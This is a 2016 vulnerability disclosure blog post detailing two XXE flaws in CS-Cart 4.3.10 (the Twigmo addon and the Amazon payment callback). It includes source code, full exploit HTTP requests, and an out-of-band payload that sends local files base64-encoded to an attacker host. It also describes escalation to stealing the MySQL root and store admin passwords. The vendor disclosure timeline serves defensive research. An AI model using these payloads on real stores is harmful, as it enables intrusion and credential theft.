CS-Cart <= 4.3.10 , XXE/LFD

November 10, 2016


CS-Cart is an impressive platform for users to any level of eCommerce experience.With loads of features at a great price
CS-Cart is a great shopping cart solution that will quickly enable your online store to do business.
CS-Cart support addons , some come installed / enabled by default installation , some are not.

During my research on cs-cart 4.3.10 I found 2 XXE flaws which can be exploited by various means as will be explained in this post.
The flaws affecting the stores with twigmo addon activated as well as those who are using amazon payment in their payment options
so as usual let’s go for the static analysis details then for the exploitation later

XXE I : Twigmo

the 1st flaw rise from the twimgo addon ,
Twigmo is a set of tools to make a store mobile-friendly for customers and merchants ,
When enabled in CS-Cart store it’s automatically activated when user visit the store using mobile phone
Twimgo is enabled on too many stores in order to giving them more ability to support mobile phone platforms


The vulnerability rises from file : app/addons/twigmo/Twigmo/Api/ApiData.php

130    public static function parseDocument($data, $format = TWG_DEFAULT_DATA_FORMAT)
131    {
132        if ($format == 'xml') {
133            $result = @simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOCDATA);
134            return self::getObjectAsArray($result);
135        } elseif ($format == 'jsonp') {
136            return (array) json_decode($data, true);
137        } elseif ($format == 'json') {
138            return (array) json_decode($data, true);
139        }
141        return false;
142    }

function simplexml_load_string at line 133 allow parsing xml requests forwarded to twigmo addon
The function is called at file : app/addons/twigmo/func.php

2429function fn_twg_get_api_data($response, $format, $required = true)
2431    $data = array();
2432    if (!empty($_REQUEST['data'])) {
2433        $data = ApiData::parseDocument(base64_decode(rawurldecode($_REQUEST['data'])), $format);
2434    } elseif ($required) {
2435        $response->addError('ERROR_WRONG_DATA', __('twgadmin_wrong_api_data'));
2436        $response->returnResponse();
2437    }
2439    return $data;

Function fn_twg_get_api_data is called when proceeding various actions to the main twimgo frontend file

49if (($_SERVER['REQUEST_METHOD'] == 'POST' || $is_cache_request) && $mode == 'post') {
51    if ($meta['action'] == 'login') {
53        $login = !empty($_REQUEST['login']) ? $_REQUEST['login'] : '';
54        $password = !empty($_REQUEST['password']) ? $_REQUEST['password'] : '';
56        if (!$user_data = fn_twg_api_customer_login($login, $password)) {
57            $response->addError(
58                'ERROR_CUSTOMER_LOGIN_FAIL',
59                __('error_incorrect_login')
60            );
61        }
63        $profile = fn_twg_get_user_info($user_data['user_id']);
64        if (fn_allowed_for('MULTIVENDOR')) {
65            $profile['company_data'] = !empty($_SESSION['auth']['company_id'])? fn_get_company_data($_SESSION['auth']['company_id']): array();
66        } else {
67            $profile['company_data'] = array();
68        }
69        $_profile = array_merge(
70            $profile,
71            array('cart' => fn_twg_api_get_session_cart($_SESSION['cart'], $lang_code))
72        );
74        $response->setData($_profile);
76    } elseif ($meta['action'] == 'add_to_cart') {
78        // add to cart
79        $data = fn_twg_get_api_data($response, $format);
81        Registry::set('runtime.controller', 'checkout', true);
82        $ids = fn_twg_api_add_product_to_cart(array($data), $_SESSION['cart']);
83        Registry::set('runtime.controller', 'twigmo');
85        $result = fn_twg_api_get_session_cart($_SESSION['cart'], $lang_code);
86        $response->setData($result);
87        if (!empty($ids)) {
88            $ids = array_keys($ids);
89        }
90        $response->setMeta(!empty($ids) ? array_pop($ids) : 0, 'added_id');

That’s where we have access over the “data” value , action value , only format remained which need to be set into xml (If not specified to XML , twimgo deal with data as json and wont reach our vulnerable line) ,
so checking up the same file

15if (!defined('BOOTSTRAP')) {
16    die('Access denied');
19use Twigmo\Api\ApiData;
20use Twigmo\Core\Api;
21use Twigmo\Core\Functions\Order\TwigmoOrder;
22use Tygh\Registry;
23use Tygh\Mailer;
24use Twigmo\Core\TwigmoConnector;
26$format = !empty($_REQUEST['format']) ? $_REQUEST['format'] : TWG_DEFAULT_DATA_FORMAT;
28$api_version = !empty($_REQUEST['api_version']) ? $_REQUEST['api_version'] : TWG_DEFAULT_API_VERSION;
30$response = new ApiData($api_version, $format);

Yup , that’s it , Line 12 giving us access over the “format” value


Detecting if Twimgo is enabled or not is relatively easy , just by sending POST request to
Data : action=add_to_cart
Will result in response like

HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json; charset=utf-8
Content-Length: 260
Set-Cookie: sid_customer_2021e=1f5d6e728e6ef52054d2e09d7e27dc79-1-C; expires=Thu, 24-Nov-2016 13:56:47 GMT; Max-Age=1209600; path=/5820af957c1fd; domain=.store.xxxx.com; HttpOnly
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Language: ru
Connection: close

{"meta":{"version":"2.0","action":"add_to_cart","notifications":[],"access_id":"3G829S","twigmo_version":"3.10","cart_version":"4.3.10","cart_edition":"ULTIMATE","page_url":"","status":"ERROR","errors":[{"code":"ERROR_WRONG_DATA","message":"Wrong API data"}]}}

Which indicate that the addon is enable , other wise will get a “website under maintenance” message

Now putting it all together , we just need to call the twimgo addon via requesting “index.php?dispatch=twigmo.post”
submitting our base64(rawencoded xml payload) in the data field
Last request will look like

POST /lab/cscart_v4.3.10/index.php?dispatch=twigmo.post HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/lab/cscart_v4.3.10/?action=add_to_cart&data=foooooooo
Content-Length: 277
Connection: close
X-dotNet-Beautifier: 10; DO-NOT-REMOVE


where data value is exactly the out put from

<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM 'http://YOUR_HOST/0x4148.jnk' >]>
 <Author>Ahmed sultan (0x4148)</Author>
echo rawurlencode(base64_encode($xml));

Result is

Great , successful HTTP request to our web server mean that I just got the exploitation worked as expected
So let’s proceed to the next XXE flaw before going on further exploitation

XXE II : Amazon payment module

Not a lot to mention , as obvious from name , this module is activated in stores accepting amazon payment method so let’s get to our point directly


File : app/payments/amazon/amazon_callback.php

15use Tygh\Registry;
17if (!defined('BOOTSTRAP')) { die('Access denied'); }
19include_once (Registry::get('config.dir.payments') . 'amazon/amazon_func.php');
21fn_define('AMAZON_ORDER_DATA', 'Z');
23if (!empty($_POST['order-calculations-request'])) {
24    $xml_response = $_POST['order-calculations-request'];
26} elseif (!empty($_POST['NotificationData'])) {
27    $xml_response = $_POST['NotificationData'];
30if (!empty($_POST['order-calculations-error'])) {
31    // Process the Amazon callback error
32    $xml_error = $_POST['order-calculations-error'];
33    $xml = @simplexml_load_string($xml_error);
34    if (empty($xml)) {
35        $xml = @simplexml_load_string(stripslashes($xml_error));
36    }
38    // Get error message
39    $code = (string) $xml->OrderCalculationsErrorCode;
40    $message = (string) $xml->OrderCalculationsErrorMessage;
What we care about is line 33 , same vulnerable simplexml_load_string function
we can not access the amazon_callback.php directly due to the condition at line 17 , which terminate the execution if BOOTSTRAP isn’t defined
so we just need to look for another file in which amazon_callback.php is included and also where BOOTSTRAP is defined
and what else could it be other than app/payments/amazon_checkout.php!!!

15use Tygh\Registry;
17if (!defined('BOOTSTRAP')) {
18    define('FORCE_SESSION_START', true);
19    require './init_payment.php';
20    include(Registry::get('config.dir.payments') . 'amazon/amazon_callback.php');
21    exit;

BOOTSTRAP isn’t defined here as well , but init_payment.php is called

15define('AREA', 'C');
16require dirname(__FILE__) . '/../../init.php';
18$backtrace = debug_backtrace();
19$processor = fn_basename(fn_unified_path($backtrace[0]['file']), '.php');
21if (!fn_check_prosessor_status($processor)) {
22    die('Access denied');

calling the main initiation file in which the BOOTSTRAP is identified , checking if payment method allowed , exit if not
so while amazon is allowed we wont worry about this , we will just submit our payload to amazon_checkout.php and It will proceed it to amazon_callback.php and that’s it


setting POST parameter order-calculations-request to

<?xml version='1.0'?> 
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://host/amazon.jnk" >]>
 <Author>Ahmed sultan (0x4148)</Author>

Result is
Excellent , now let’s proceed to escalating this xxe for further exploitation

Escalating XXE

Using OOB technique I was able to read local vulnerable machine’s files and forward it to my host
doing this is relatively easy , Just creating an xml file on my host (0x4148.xml here) which contain

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Windows/win.ini">
<!ENTITY % root "<!ENTITY &#37; oob SYSTEM 'http://HOST:8080/?%payload;'> ">

Replace the win.ini path to whatever file you want to read (using absolute path for sure)
starting local nc listener on the host on port 8080
sending the following xml request to cs-cart (after encoding it of course)

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE x4148 [
<!ENTITY % remote SYSTEM "http://host/cscart/0x4148.xml">

where http://host/cscart/0x4148.xml is the full path where 0x4148.xml file was created on my remote host
Full request will be just as

POST /lab/cscart_v4.3.10/app/payments/amazon_checkout.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 226
X-dotNet-Beautifier: 0; DO-NOT-REMOVE

order-calculations-request=<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE x4148 [
<!ENTITY % remote SYSTEM "http://HOST/cscart/0x4148.xml">

and result will be just like we got the content of c:\windows\win.ini encoded as base64
let’s proceed further to read the application config file which will help us to take the exploitation higher

Local path disclosure flaw / more exploitation

From here we are almost done , reading any file from the vulnerable machine gicing us a lot of possibilities
We can get the app current installation path via accessing “upgrades/source_restore.php”
Accessing this file directly from browser will result in error output including the current path due to

15namespace Restore;
18ini_set('display_errors', 'on');
21$uc_settings = '%UC_SETTINGS%';
22$config = '%CONFIG%';
23$backup_filename = '%BACKUP_FILENAME%';
24$uak = '%RESTORE_KEY%';
25$stats_data = '%STATS_DATA%';
26$restore_data = '%RESTORE_DATA%';
28define('DIR_ROOT', $config['dir']['root']);
error_reporting is set to all , and the $config isn’t even introduced to this page
so result will be something like

 Warning: Illegal string offset 'dir' in C:\xampp\htdocs\lab\cscart_v4.3.10\upgrades\source_restore.php on line 28

Knowing the path and that server running xampp , it’s easy to obtain mysql credentials by reading the mysql.user table which located at C:/xampp/mysql/data/mysql/user.MYD
The file contain mysql root password

Gaining administrator access over cs-cart

If you do not have privileges to gain access to the mysql.user file for reason or another
Reading cs-cart config file will give you
DB_name , Table prefix , and the administrator panel path

$config['db_name'] = 'csc';
$config['table_prefix'] = 'cscart_';
$config['admin_index']    = 'admin.php';

Which just what you need to proceed and get cs-cart user’s table content which will be at
The red marked stuff were obtained previously , so passing this path to our xml file located on our host and resending the payload will result in
user’s table encoded to base64 which contain administrator’s password , that’s how easy it is

XXE to RCE??

By using the expect wrapper instead of file:// you can execute system commands on the vulnerable machine
You will need php expect extension to be installed for sure in order to do soUnfortunately I had no time to configure new host with the extension installed , so go google it and find

Limitations and conclusion

Exploit was tested on windows machine with php version up to 5.4.4
On *nx machines It worked successfully with php < 5.2.17 and failed to work with 5.4.6
You will need twigmo addon or amazon payment method enabled in order to proceed with the exploitation
Local path disclosure is really not that shitty , as you see It save a lot of time that could be wasted finding app or HTTP server’s path

Disclosure time line

  • 10-11 vulnerabilities reported to the vendor
  • 11-11 Vendor asked for extra details
  • 12-11 Vendor acknowledged the validity of vulnerabilities and asked for time to fix
  • 16-11 vendor permitted public release

Nothing more today actually ,
so till next time,

comments powered by Disqus